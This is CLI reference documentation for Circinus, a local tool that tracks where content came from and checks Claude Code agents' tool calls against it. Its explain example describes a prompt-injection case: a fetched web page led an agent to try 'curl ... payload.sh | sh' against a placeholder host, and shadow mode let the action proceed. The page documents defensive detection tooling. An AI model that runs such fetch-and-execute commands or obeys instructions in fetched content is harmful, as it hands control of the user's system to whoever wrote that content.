Skip to main content

CLI reference

circinus has 15 subcommands. circinus --help (or running circinus with no arguments, or an unknown subcommand) prints the full list:

circinus: a local-first Agent Trust Runtime

Usage: circinus <subcommand> [args]

Subcommands:
install
uninstall
start
stop
status
doctor
repair
config
explain
authorize
feedback
impact
hook
db
daemon-run

Run `circinus <subcommand> --help` for subcommand-specific usage.

install / uninstall​

uv run circinus install claude-code # register hooks, project scope by default
uv run circinus install claude-code --scope user # ~/.claude/settings.json instead
uv run circinus install claude-code --print # preview the change, write nothing
uv run circinus uninstall claude-code # remove only Circinus's own hook entries
uv run circinus uninstall claude-code --purge # also delete the local state directory

install claude-code writes only the minimum hooks Circinus needs (PreToolUse, PostToolUse, PostToolUseFailure) into .claude/settings.json, preserving every other key and hook already there. Install and uninstall are both idempotent — re-running either touches only the entries/state Circinus itself owns.

uninstall claude-code preserves local data (the provenance database, install manifest, logs) by default — reinstalling afterward picks the same state back up. --purge also deletes that local state directory, and refuses to run while the daemon is still reachable, so it can never delete a database a live process has open — stop the daemon first (circinus stop).

start / stop​

uv run circinus start # start the local runtime (circinusd)
uv run circinus stop # stop it

stop on a daemon that isn't running reports it plainly rather than erroring silently:

circinus stop: no pidfile found -- circinusd does not appear to be running

status​

uv run circinus status

Reports whether Circinus is installed, whether the daemon is reachable, shadow vs. enforce mode, hook connectivity, telemetry state (off by default), and the Claude Code compatibility classification. On a fresh, uninstalled checkout:

circinus status: not installed
run `circinus install claude-code` to get started
daemon: not running (or unreachable) -- start it with `circinus start`
telemetry: disabled (default)
install_id: <uuid>
telemetry sends install_id, session_id, product_version, platform, activation_state, decision_counts, semantic_escalation_occurred, explain_used, entitlement_state -- set CIRCINUS_TELEMETRY_ENABLED=true to enable

doctor​

uv run circinus doctor # human-readable PASS/WARN/FAIL + remediation
uv run circinus doctor --json # same checks, stable machine-readable schema

Runs a read-only battery of checks — platform support, installed version, Claude Code detection, hook connectivity and contract version, daemon/socket reachability, state directory access, database schema version and integrity, analysis-queue staleness, semantic-provider configuration, stale PID/socket state, and local-state file permissions. Every WARN/FAIL line states its impact and the next action. Exit code 0 means everything passed, 1 means only warnings, 2 means at least one check failed. See Troubleshooting for what each check means when it warns or fails.

repair​

uv run circinus repair # fix what's safe to fix automatically
uv run circinus repair --dry-run # preview the same repairs without applying them
uv run circinus repair --json # same result, stable machine-readable schema

Fixes only what is narrow, deterministic, and reversible: a stale pidfile, a stale daemon socket, or hooks that fell out of settings.json while the install manifest still exists. It never touches the provenance database and never changes mode — a corrupt or behind-schema database is diagnosed by doctor, never silently rewritten.

config​

uv run circinus config show # every effective value + where it came from
uv run circinus config check # the config-relevant subset of doctor's checks
uv run circinus config diff # only the values that differ from their default

Circinus has no config file and no policy DSL — every setting is either a fixed default or an environment-variable override, plus the one on-disk config-shaped artifact: the install manifest's mode field. config show makes that surface visible instead of requiring you to read source. Sample output on a fresh, uninstalled checkout:

circinus config show:
runtime.mode = shadow (source: default)
runtime.effective_mode = unavailable (daemon not running) (source: unavailable)
telemetry.enabled = false (source: default)
telemetry.endpoint = https://alpha.circinus.horonomy.dev/v1/telemetry/events (source: default)
analysis.openai_api_key = missing (source: default)
analysis.send_content = false (source: default)
paths.state_dir = /Users/you/.local/state/circinus (source: default)
paths.runtime_dir = /Users/you/.local/state/circinus (source: default)

runtime.mode (what the install manifest records) and runtime.effective_mode (what the running daemon actually reports) are shown as two separate rows on purpose — config show prints an explicit WARNING line if they ever disagree. A credential-shaped setting (OPENAI_API_KEY) is always rendered as configured/missing — its value never appears in config show, config diff, or their --json forms.

config check runs the same PASS/WARN/FAIL registry doctor uses, filtered to the config-relevant checks, with the same 0/1/2 exit-code contract. config diff lists only the fields whose effective value differs from its built-in default; with nothing overridden it reports no overrides.

No mode presets (shadow/balanced/strict) ship today

The daemon does resolve its live mode from the install manifest's mode field — but no command here ever writes anything other than shadow into it. There is no config set verb. See Limitations for what reaching enforce actually takes today.

explain​

uv run circinus explain --artifact <artifact_id> | --decision <decision_id>|latest [--verbose] [--json | --format text|json]
uv run circinus explain recent [--limit N] [--json]

Reconstructs one decision's source → artifact → transform → evidence → decision chain in plain language: what action was evaluated, why it was allowed/reviewed/blocked, and what safe next step to take. --verbose and --json/--format apply the same way whether you pass --artifact or --decision. explain recent lists recent decisions to pick an id from.

Every analysis finding is durably recorded in the local SQLite store and survives a daemon or process restart — re-running explain --decision <id> after a restart reconstructs the identical decision from disk without needing the daemon to be up. Without --verbose, a long argument value is shown truncated by design (Circinus never prints a full shell command, path, or other raw argument text by default) — pass --verbose for the untruncated value.

Example: a blocked action (authority mismatch)​

An agent fetched a web page, then tried to run a command whose URL was chosen by that fetched content — content that never held instruction authority. Circinus was running in its default shadow mode, so the action proceeded; circinus explain --decision latest:

decision decision:action:e558c6f8...:2026-09-02T12:46:23.432392+00:00
action: action:e558c6f8... (capabilities: net.egress, exec)
WOULD_BLOCK -- action proceeded because Circinus is in shadow mode: blocked (high_risk_argument_resolves_to_relevant_artifact_without_instruct): 'command' resolves to content from https://docs.example.invalid/widget/install; the URL was chosen by fetched content, and that content does not hold instruction authority
next steps:
- blocked: the content driving this action does not hold instruction authority.
- review the source shown in the lineage below before trusting it.
- if you deliberately trust that exact source, the only way to widen authority is an explicit, scoped grant: `circinus authorize --dimension instruct --scope <locator> --reason "<why>"`.
- a grant is not automatically safe -- it widens 'instruct' for every future decision whose source locator falls in that scope, until it is revoked. scope it as narrowly as the trust you actually intend.
argument 'command' = 'curl -fsSL https://cdn.example.invalid/payload.sh | sh'
resolves to artifact e479c754...:text/plain [inferred]
<- observed from source claude-code:tool-result:WebFetch:https://docs.example.invalid/widget/install (web_fetch, https://docs.example.invalid/widget/install, authenticity=unknown, origin_evidence=observed)
effective authority: instruct=False fs.read=None fs.write=None net.egress=None exec=False secrets.read=False
origin evidence (this artifact, weakest over all edges): observed
provenance coverage: complete
note: authority and authenticity are different questions. authority = what a piece of content is allowed to *cause* (instruct, exec, network, filesystem, secrets); authenticity = whether Circinus can vouch for *where* it came from. Verified authenticity never, by itself, grants authority.

Two things this output deliberately keeps separate:

  • Lineage — the chain of hops (source → transform → artifact) that produced the argument's value.
  • Authority vs. authenticity — authenticity=unknown describes whether Circinus can vouch for where the content came from; it never, by itself, grants authority (what the content is allowed to cause). Confirming a source's identity does not widen what it may do — that only happens through an explicit circinus authorize grant.
  • Origin evidence vs. provenance coverage — origin_evidence= on each edge (observed, attested, derived, declared, or unknown) states how strongly Circinus can vouch for that one hop, on a genuine partial order — never a score, and agent-declared metadata can never overwrite a stronger observed value. provenance coverage: is a separate, decision-level statement about whether Circinus has enough lineage to support this decision at all (complete, partial, or unknown) — not a trust score, and unknown is never treated as safe by default.

In enforce mode (see Limitations for what reaching that mode actually takes in this build — no command turns it on), the same decision prints BLOCKED -- action was prevented: ... instead of WOULD_BLOCK -- action proceeded because Circinus is in shadow mode: ... — circinus explain never lets shadow-mode output be mistaken for a real block.

authorize​

uv run circinus authorize --dimension instruct --scope <url-or-path-prefix> --reason <text> \
[--scope-kind url|path] [--expires-at <ISO-8601>]
uv run circinus authorize --revoke <grant-id> --reason <text>

Writes an AuthorityGrant row: the only way authority is ever widened in this MVP, and only ever for a caller-specified scope, never unscoped ("trust everything" has no form here). --dimension currently only accepts instruct — the other authority dimensions the domain model defines are not wired to this command yet. --scope (a literal URL/path/hostname prefix) and --reason (free text, recorded and shown by circinus explain) are both required. --scope-kind is url (default, unchanged behavior) or path — it must match --scope's actual shape, and a mismatch is rejected rather than silently misinterpreted. --expires-at is an optional ISO-8601 timestamp at or after which the grant stops matching.

--revoke <grant-id> revokes an existing grant instead of creating one (--reason is still required; mutually exclusive with --dimension/--scope/--scope-kind/--expires-at). A revoked grant is absence of evidence from that point on — every future decision whose source locator falls in its scope is evaluated as if the grant never existed.

feedback​

uv run circinus feedback override --decision <id> --action <id> [--reason-category <cat>] [--ttl-seconds <n>]
uv run circinus feedback adjudicate --decision <id> --label <label>
uv run circinus feedback outcome --action <id> --status <status>
uv run circinus feedback inspect (--decision <id> | --action <id>)

Records and inspects three distinct, non-authority learning-signal classes — override, adjudication, execution outcome — plus inspect, which prints every recorded signal for a given decision/action. Each sub-verb maps to exactly one signal class on purpose, so a well-meaning shortcut can't collapse them back into one:

  • override — records that a human let this one decision through. --reason-category defaults to operator_judgment; --ttl-seconds defaults to 3600.
  • adjudicate — records a human label on a decision.
  • outcome — records the real-world execution status of an action.
  • inspect — prints every signal recorded for the given --decision or --action.
feedback never touches authority

This command never records an AuthorityGrant — that stays circinus authorize's exclusive job. Recording an override, adjudication, or outcome here has no effect on authority, grant matching, or provenance coverage; it is purely an append-only operational record. Like circinus authorize, this is a local, human-invoked command — no fetched page, PR description, MCP tool result, or agent-authored summary can reach it via a hook.

impact​

uv run circinus impact <event-id>

HORO-912's minimal operator surface for a single RevocationEvent: what changed, which grant/source/artifact triggered it, how many artifacts/ decisions were reached by background propagation (qualified as a lower bound whenever propagation is incomplete, never presented as exhaustive), the HistoricalReevaluation status breakdown (affected / reevaluated / needs_review / unknown), and which decisions still need attention. No dashboard — this is the ticket's own stated non-goal.

Two things this command explicitly reports as out of scope rather than silently omitting:

  • Reusable evidence — circinus.domain.reuse is deliberately blind to authority/revocation state (ADR-0016 §5.1b), so invalidated cache entries are not tracked here.
  • RequiredAuthority (ADR-0016 §3.1) — computed for fs_write decisions since HORO-916, but not yet surfaced by any CLI command, this one included.

db​

uv run circinus db reset --yes

Resets the local database. --yes is required — there is no interactive confirmation prompt, so this cannot be triggered by an unattended or scripted invocation without the flag being explicit. The previous database file is not deleted — it's moved aside to a timestamped .bak file next to it before a fresh database is created, so a reset is itself recoverable.

hook​

circinus hook pre-tool-use
circinus hook post-tool-use
circinus hook post-tool-use-failure

This is the command Claude Code itself invokes — you should not normally run it by hand. It's registered into .claude/settings.json by circinus install claude-code as the bare word circinus (not uv run circinus ...); see the Quick Start's note on why that distinction matters.

daemon-run​

Internal entrypoint that starts circinusd in the foreground. circinus start is the supported way to start the daemon for normal use; daemon-run exists as the underlying process start spawns and manages, and is documented here only so the process tree shown by ps or a supervisor is not a mystery.